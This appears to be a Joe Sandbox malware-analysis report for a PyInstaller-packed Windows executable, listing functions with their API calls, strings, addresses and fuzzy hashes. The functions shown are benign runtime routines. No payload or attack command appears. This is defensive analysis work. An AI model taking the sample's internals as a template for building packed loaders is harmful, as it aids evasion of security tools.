Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: da25680c1af6adbbd75f9aaa9149da67c4ccf9ada2fcee16a4d67ff34c50752a
Instruction ID: d1e6624437fbb74f2cc2633b7e8ec7b7c058c83b99a18570ff70b1f681174541
Opcode Fuzzy Hash: da25680c1af6adbbd75f9aaa9149da67c4ccf9ada2fcee16a4d67ff34c50752a
Instruction Fuzzy Hash: 6C41C532A0CB4682E760EF19B48116AF7A1FB96798FA44135DB8D43B98DF7CD055C710

Function 00007FF7B10F8CE0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF7B10F39CA), ref: 00007FF7B10F8D21

Part of subcall function 00007FF7B10F29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7B10F88E2,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F29F4
Part of subcall function 00007FF7B10F29C0: MessageBoxW.USER32 ref: 00007FF7B10F2AD0

WideCharToMultiByte.KERNEL32(?,00007FF7B10F39CA), ref: 00007FF7B10F8D95

Strings

win32_utils_to_utf8, xrefs: 00007FF7B10F8D62
WideCharToMultiByte, xrefs: 00007FF7B10F8D35, 00007FF7B10F8DA6
Failed to get UTF-8 buffer size., xrefs: 00007FF7B10F8D2E
Out of memory., xrefs: 00007FF7B10F8D5B
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7B10F8D9F

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 24e20b950f9c341c4949047225b46873ae1dde5e69406ebada3fd8935fcb2f41
Instruction ID: f76b55c3acc5a6233ab91470a820d78c410317779ce38ff5ae1c32cecc0f0340
Opcode Fuzzy Hash: 24e20b950f9c341c4949047225b46873ae1dde5e69406ebada3fd8935fcb2f41
Instruction Fuzzy Hash: BC219325A0DB4685EB10FB5DB8810A8F761EFA6B88FD44136CB0D43798EF7CE5118310

Function 00007FF7B10F75A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7B10F7716

Part of subcall function 00007FF7B1100830: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1100844

Part of subcall function 00007FF7B1100804: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1100818

Strings

ERROR: file already exists but should not: %s, xrefs: 00007FF7B10F767C
WARNING: file already exists but should not: %s, xrefs: 00007FF7B10F7698
%s%c%s, xrefs: 00007FF7B10F75E5
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7B10F7632
\, xrefs: 00007FF7B10F75EC

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 95a07afb7437e9fdb1036844a629e41653b489b2c1128e3c944f638e5aaf148e
Instruction ID: ee39ceb45709e28ad28fcfe24c499c978515abef124953dedb27ee071898fa49
Opcode Fuzzy Hash: 95a07afb7437e9fdb1036844a629e41653b489b2c1128e3c944f638e5aaf148e
Instruction Fuzzy Hash: 61519311E1D64741FB11B71DA9922BDE391AF677C8FC40030EB4D466DEDEACE5008761

Function 00007FF7B10FE1B8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7B10FE46A,?,?,?,00007FF7B10FD39C,?,?,?,00007FF7B10FCF91), ref: 00007FF7B10FE23D
GetLastError.KERNEL32(?,?,?,00007FF7B10FE46A,?,?,?,00007FF7B10FD39C,?,?,?,00007FF7B10FCF91), ref: 00007FF7B10FE24B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7B10FE46A,?,?,?,00007FF7B10FD39C,?,?,?,00007FF7B10FCF91), ref: 00007FF7B10FE275
FreeLibrary.KERNEL32(?,?,?,00007FF7B10FE46A,?,?,?,00007FF7B10FD39C,?,?,?,00007FF7B10FCF91), ref: 00007FF7B10FE2E3
GetProcAddress.KERNEL32(?,?,?,00007FF7B10FE46A,?,?,?,00007FF7B10FD39C,?,?,?,00007FF7B10FCF91), ref: 00007FF7B10FE2EF

Strings

api-ms-, xrefs: 00007FF7B10FE25D

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 257efbe4257383a3eec37a8e0b20558c4c24ba0fcd14ee08d032d02959c7be2e
Instruction ID: ac726ab56367649f5b1581805bb664266390cd2fe3c8e3557ff30fb7d4033ed4
Opcode Fuzzy Hash: 257efbe4257383a3eec37a8e0b20558c4c24ba0fcd14ee08d032d02959c7be2e
Instruction Fuzzy Hash: AA31EA25B1A70294EF51BB4AA841275A3D4BF76BA8F9A0535DF1D0775CEF7CE0408324

Function 00007FF7B10F7420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF7B10F79A1,00000000,?,00000000,00000000,?,00007FF7B10F153F), ref: 00007FF7B10F747F

Part of subcall function 00007FF7B10F2B10: MessageBoxW.USER32 ref: 00007FF7B10F2BE5

Strings

LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7B10F7456
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7B10F74DA
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7B10F7493

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 8743f48341130adb83b05e1f6ce01007e671de32885b94e340be128834149e90
Instruction ID: 2abefd0bfeb127b0398a5a66573fee3d75a3394533be1d8339459a9add21f1f8
Opcode Fuzzy Hash: 8743f48341130adb83b05e1f6ce01007e671de32885b94e340be128834149e90
Instruction Fuzzy Hash: D031B711F1D68740FB20F729A9963BDD351AFBA788FC40431DB4E4279EEEACE1048621

Function 00007FF7B10F8BD0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

Part of subcall function 00007FF7B10F29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7B10F88E2,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F29F4
Part of subcall function 00007FF7B10F29C0: MessageBoxW.USER32 ref: 00007FF7B10F2AD0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C90

Strings

MultiByteToWideChar, xrefs: 00007FF7B10F8C1E, 00007FF7B10F8CA1
Failed to decode wchar_t from UTF-8, xrefs: 00007FF7B10F8C9A
win32_utils_from_utf8, xrefs: 00007FF7B10F8C59
Out of memory., xrefs: 00007FF7B10F8C52
Failed to get wchar_t buffer size., xrefs: 00007FF7B10F8C17

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 83b31a2985e644c59f7e42e272613087ded70715f2d4689f177d6a205493e17b
Instruction ID: dcae257f020d44c82feed7881d733f89881859264deaa871f546144673fd5396
Opcode Fuzzy Hash: 83b31a2985e644c59f7e42e272613087ded70715f2d4689f177d6a205493e17b
Instruction Fuzzy Hash: A0219122B0DA4681EB50EB2EF441169E361FB967C8F984532DB4C83B6DEF6CD5518710

Function 00007FF7B110BCF0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7B110BCFF
FlsGetValue.KERNEL32 ref: 00007FF7B110BD14
FlsSetValue.KERNEL32 ref: 00007FF7B110BD35
FlsSetValue.KERNEL32 ref: 00007FF7B110BD62
FlsSetValue.KERNEL32 ref: 00007FF7B110BD73
FlsSetValue.KERNEL32 ref: 00007FF7B110BD84
SetLastError.KERNEL32 ref: 00007FF7B110BD9F

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ef37840ed9934c1aaeb06cf917a3ae799d9876d4d923df49702be147c9d5e414
Instruction ID: 78ea157534c40b25d019f34921f4f0b668a7404d0ff4eac36ece72ee0b13b328
Opcode Fuzzy Hash: ef37840ed9934c1aaeb06cf917a3ae799d9876d4d923df49702be147c9d5e414
Instruction Fuzzy Hash: 8F217F18E0C54B82F7587329765A17CE353CF667ACFA08734EA3D466CEDEACA4008725

Function 00007FF7B1118B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7B1118BCD
GetLastError.KERNEL32 ref: 00007FF7B1118BD9
CloseHandle.KERNEL32 ref: 00007FF7B1118BF1
CreateFileW.KERNEL32 ref: 00007FF7B1118C1C
WriteConsoleW.KERNEL32 ref: 00007FF7B1118C3B

Strings

CONOUT$, xrefs: 00007FF7B1118BFD

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: c684c657c71cc66e393495913d92b804321d58ad0ed46cdbde63fde403b390ba
Instruction ID: 449e4c0a9cadb964474c7dbaea9218908cc96d60158f42a2a5981e1867ba0f25
Opcode Fuzzy Hash: c684c657c71cc66e393495913d92b804321d58ad0ed46cdbde63fde403b390ba
Instruction Fuzzy Hash: 3F11B421A18A49C6E350AB5AF844725F3A0FBA9FE8F444234DF1D83798CFBCD5648754

Function 00007FF7B110BE68 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7B1105AAD,?,?,?,?,00007FF7B110F79F,?,?,00000000,00007FF7B110BF86,?,?,?), ref: 00007FF7B110BE77
FlsSetValue.KERNEL32(?,?,?,00007FF7B1105AAD,?,?,?,?,00007FF7B110F79F,?,?,00000000,00007FF7B110BF86,?,?,?), ref: 00007FF7B110BEAD
FlsSetValue.KERNEL32(?,?,?,00007FF7B1105AAD,?,?,?,?,00007FF7B110F79F,?,?,00000000,00007FF7B110BF86,?,?,?), ref: 00007FF7B110BEDA
FlsSetValue.KERNEL32(?,?,?,00007FF7B1105AAD,?,?,?,?,00007FF7B110F79F,?,?,00000000,00007FF7B110BF86,?,?,?), ref: 00007FF7B110BEEB
FlsSetValue.KERNEL32(?,?,?,00007FF7B1105AAD,?,?,?,?,00007FF7B110F79F,?,?,00000000,00007FF7B110BF86,?,?,?), ref: 00007FF7B110BEFC
SetLastError.KERNEL32(?,?,?,00007FF7B1105AAD,?,?,?,?,00007FF7B110F79F,?,?,00000000,00007FF7B110BF86,?,?,?), ref: 00007FF7B110BF17

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ddf8d81a22343009781cfd87416a9e8d85b9fb6f44d6b4a7416555ba1d33dd0c
Instruction ID: 7f133a7e85d11f4a774f342d3bc1cb79706803d6f770235ad044ee935651501e
Opcode Fuzzy Hash: ddf8d81a22343009781cfd87416a9e8d85b9fb6f44d6b4a7416555ba1d33dd0c
Instruction Fuzzy Hash: 88117114E0C64B42F7547329765A139E352CF677A8FE08734EB2E466CEDEBCA8018724

Function 00007FF7B10F25E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF7B10F27CF), ref: 00007FF7B10F2618
DialogBoxIndirectParamW.USER32 ref: 00007FF7B10F26DC
DeleteObject.GDI32 ref: 00007FF7B10F270F
DestroyIcon.USER32 ref: 00007FF7B10F2721

Strings

Unhandled exception in script, xrefs: 00007FF7B10F2648

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1f3d1521894b1493867d551a7722980cdb1a6c55e5d92a75b7aa063c884505e7
Instruction ID: 68c807f15a37800ecf2e6a3cf97591f5b95212f6070f22340a7366f9710aa4e2
Opcode Fuzzy Hash: 1f3d1521894b1493867d551a7722980cdb1a6c55e5d92a75b7aa063c884505e7
Instruction Fuzzy Hash: 75316D72A08A8685EB20EF29F8552F9A360FF9A788F800135EB4D87B59DF7CD115C710

Function 00007FF7B10F29C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7B10F88E2,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F29F4

Part of subcall function 00007FF7B10F8560: GetLastError.KERNEL32(00000000,00007FF7B10F2A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F8587
Part of subcall function 00007FF7B10F8560: FormatMessageW.KERNEL32 ref: 00007FF7B10F85B6

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

MessageBoxW.USER32 ref: 00007FF7B10F2AD0
MessageBoxA.USER32 ref: 00007FF7B10F2AEC

Strings

Fatal error detected, xrefs: 00007FF7B10F2AA6, 00007FF7B10F2ADE
%s%s: %s, xrefs: 00007FF7B10F2A4B

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: a22562a3e5708768cb0d15f904b55a8b62d2097d7bb286fe6f48fe5cd4d63a9f
Instruction ID: 0cbd9a785dbfeee971ed0378cea1b640b2669c92a6a6657b742f2e2466114449
Opcode Fuzzy Hash: a22562a3e5708768cb0d15f904b55a8b62d2097d7bb286fe6f48fe5cd4d63a9f
Instruction Fuzzy Hash: AF31A47262868681E730EB18F4916EAE364FF95B88FC04036E78D02A9DDF7CD605CB50

Function 00007FF7B110A5F8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7B110A61D
GetProcAddress.KERNEL32 ref: 00007FF7B110A633
FreeLibrary.KERNEL32 ref: 00007FF7B110A65A

Strings

mscoree.dll, xrefs: 00007FF7B110A614
CorExitProcess, xrefs: 00007FF7B110A62C

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8b09857164704210b2e0253d11d0b3fe713c31e540e9fb1e205907d45fa6ef0f
Instruction ID: 4ad81b8345129264dd89ac7a52606832465d3cfbf15abe199c565ccc946c1fb3
Opcode Fuzzy Hash: 8b09857164704210b2e0253d11d0b3fe713c31e540e9fb1e205907d45fa6ef0f
Instruction Fuzzy Hash: E4F04461B1960A81EB14AB29F848335E330EF9B769FD50235C76E461E8DFACD1548760

Function 00007FF7B111A220 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7B111A248
_set_statfp.LIBCMT ref: 00007FF7B111A263
_set_statfp.LIBCMT ref: 00007FF7B111A27F
_set_statfp.LIBCMT ref: 00007FF7B111A2BB

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: 392c708e0bcbf3abad28cafb7feb2014b092dccbd7f2b511dfdb7695cfd31455
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: 21112626E0EAEF01FB54309CF0613B4E9406F77328F870630FB6E466DE8EAD58A00120

Function 00007FF7B110BF30 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7B110B147,?,?,00000000,00007FF7B110B3E2,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110BF4F
FlsSetValue.KERNEL32(?,?,?,00007FF7B110B147,?,?,00000000,00007FF7B110B3E2,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110BF6E
FlsSetValue.KERNEL32(?,?,?,00007FF7B110B147,?,?,00000000,00007FF7B110B3E2,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110BF96
FlsSetValue.KERNEL32(?,?,?,00007FF7B110B147,?,?,00000000,00007FF7B110B3E2,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110BFA7
FlsSetValue.KERNEL32(?,?,?,00007FF7B110B147,?,?,00000000,00007FF7B110B3E2,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110BFB8

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5469ad97ef1dc323ed31f4bb816bde73ef5dcee44b4409764bd7785a0893e436
Instruction ID: 4a3ce8eb9aaab0b10e90f8dcf0178cd6c5d40447aa9186e4078aaad9b7db18f1
Opcode Fuzzy Hash: 5469ad97ef1dc323ed31f4bb816bde73ef5dcee44b4409764bd7785a0893e436
Instruction Fuzzy Hash: D511A754E0C60B41F7587329B55A1359343CF663A8FE48334EA3D476CECEACA4018625

Function 00007FF7B110BDC4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7B110BDD5
FlsSetValue.KERNEL32 ref: 00007FF7B110BDF4
FlsSetValue.KERNEL32 ref: 00007FF7B110BE1C
FlsSetValue.KERNEL32 ref: 00007FF7B110BE2D
FlsSetValue.KERNEL32 ref: 00007FF7B110BE3E

Memory Dump Source

